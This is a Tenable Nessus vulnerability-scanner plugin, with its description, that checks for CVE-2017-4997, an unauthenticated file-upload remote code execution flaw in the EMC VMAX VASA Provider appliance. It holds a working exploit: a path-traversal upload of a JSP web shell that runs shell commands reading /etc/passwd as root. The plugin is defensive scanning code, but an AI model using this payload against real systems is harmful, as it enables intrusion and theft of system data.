EMC VMAX VASA Provider Virtual Appliance File Upload RCE

2017-07-28T00:00:00
ID EMC_VASA_PROVIDER_CVE-2017-4997.NASL
Type nessus
Reporter Tenable
Modified 2018-06-14T00:00:00

Description

The EMC VMAX VASA Provider Virtual Appliance running on the remote host is affected by a remote code execution vulnerability in the UploadConfigurator servlet due to a failure to restrict file uploads to arbitrary directories. An unauthenticated, remote attacker can exploit this issue to upload files containing arbitrary code and then execute them with root privileges.

Nessus has tested for this vulnerability by uploading a JSP file to the context path of the SE application (/opt/emc/vapp/jboss/standalone/deployments/vapp.ear/SE.war), fetching it, and thereby executing the Java code in the JSP file. Note that Nessus has attempted to delete the uploaded JSP file after fetching it. Users are advised to delete the JSP file if Nessus was unable to delete it.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(102037);
  script_version("1.4");
  script_cvs_date("Date: 2018/06/14 12:21:47");

  script_cve_id("CVE-2017-4997");
  script_bugtraq_id(99169);
  script_xref(name:"ZDI", value:"ZDI-17-491");

  script_name(english:"EMC VMAX VASA Provider Virtual Appliance File Upload RCE");
  script_summary(english:"Attempts to perform a file upload.");

  script_set_attribute(attribute:"synopsis", value:
"The remote virtual appliance is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The EMC VMAX VASA Provider Virtual Appliance running on the remote
host is affected by a remote code execution vulnerability in the
UploadConfigurator servlet due to a failure to restrict file uploads
to arbitrary directories. An unauthenticated, remote attacker can
exploit this issue to upload files containing arbitrary code and then
execute them with root privileges.

Nessus has tested for this vulnerability by uploading a JSP file to
the context path of the SE application
(/opt/emc/vapp/jboss/standalone/deployments/vapp.ear/SE.war), fetching
it, and thereby executing the Java code in the JSP file. Note that
Nessus has attempted to delete the uploaded JSP file after fetching
it. Users are advised to delete the JSP file if Nessus was unable to
delete it.");
  script_set_attribute(attribute:"see_also", value:"http://seclists.org/bugtraq/2017/Jun/att-55/ESA-2017-062.txt");
  script_set_attribute(attribute:"see_also", value:"http://www.zerodayinitiative.com/advisories/ZDI-17-491/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to EMC VMAX VASA Provider Virtual Appliance version 8.4.0 or
later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/06/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/06/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/07/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:emc:vasa_provider_virtual_appliance");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2018 Tenable Network Security, Inc.");

  script_dependencies("emc_vapp_manager_detect.nbin");
  script_require_keys("Host/EMC/VMAX VASA Provider Virtual Appliance");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("install_func.inc");
include("http.inc");

# Exit if VASA Provider is not detected on the host
get_kb_item_or_exit("Host/EMC/VMAX VASA Provider Virtual Appliance");

port = get_http_port(default:5480);

boundary = "--------" + rand_str(length:12, charset:"0123456789abcdef"); 
content_type = "multipart/form-data; boundary=" + boundary;

# Base file containing JSP code
file = "delete_me.jsp";

# filename used in the upload form
# path traversal is also possible 
filename = "jboss/standalone/deployments/vapp.ear/SE.war/" + file;

# Get the passwd file and delete the JSP file
cmd = "cat /etc/passwd; rm -f /opt/emc/vapp/" + filename;
exec = 'new String[] {"/bin/sh", "-c", "' + cmd + '"}'; 

# File content of the JSP file to be uploaded
jsp = '<%@ page import="java.io.*" %>\n' +
  '<%\n' +
  'String output = "";\n' +
  'String s = null;\n' +
  '  try {\n' +
  '     Process p = Runtime.getRuntime().exec(' + exec + ');\n' +
  '      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));\n' +
         'while((s = sI.readLine()) != null) {\n' +
         '  output += "\\n"+ s;\n' +
         '}\n' +
      '}\n' +
      'catch(IOException e) {\n' +
      '   e.printStackTrace();\n' +
      '}\n' +
  '%>\n' +
  '<pre>\n<%=output %>\n</pre>\n';


data = '--' + boundary + '\r\n';
data += 'Content-Disposition: form-data; name="data"; filename="' + filename +'"\r\n';
data += 'Content-Type: text/plain\r\n\r\n';
data += jsp + '\r\n';
data += '--' + boundary + '--\r\n';
url = "/SE/UploadConfigurator";
res = http_send_recv3(
  method        : "POST",
  item          : url,
  port          : port,
  data          : data,
  content_type  : content_type,
  exit_on_fail  : TRUE
);

if(res[0] !~ "^HTTP/[0-9.]+ 200")
{
  audit(AUDIT_RESP_BAD, port, 'a file upload request. HTTP response status: ' + res[0]);
}

req1 = http_last_sent_request();

# Try to fetch our uploaded JSP file. If the file was successfully 
# uploaded, the Java code in it will be executed and the output will
# be sent back in the HTTP response.
#
# The Java code tries to delete the JSP file after running 'cat /etc/passwd'
res2 = http_send_recv3(
  method : "GET",
  port   : port,
  item   : "/SE/" + file,
  exit_on_fail : TRUE
);

# Vulnerable: /etc/passwd content returned 
if ("root:x:0:0:root" >< res2[2])
{
  req2 = http_last_sent_request();
  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    request    : make_list(req1,req2),
    output     : res2[2],
    line_limit : 100,
    generic    : TRUE
  );
}
# Patched
else 
{
  audit(AUDIT_HOST_NOT, "affected");
}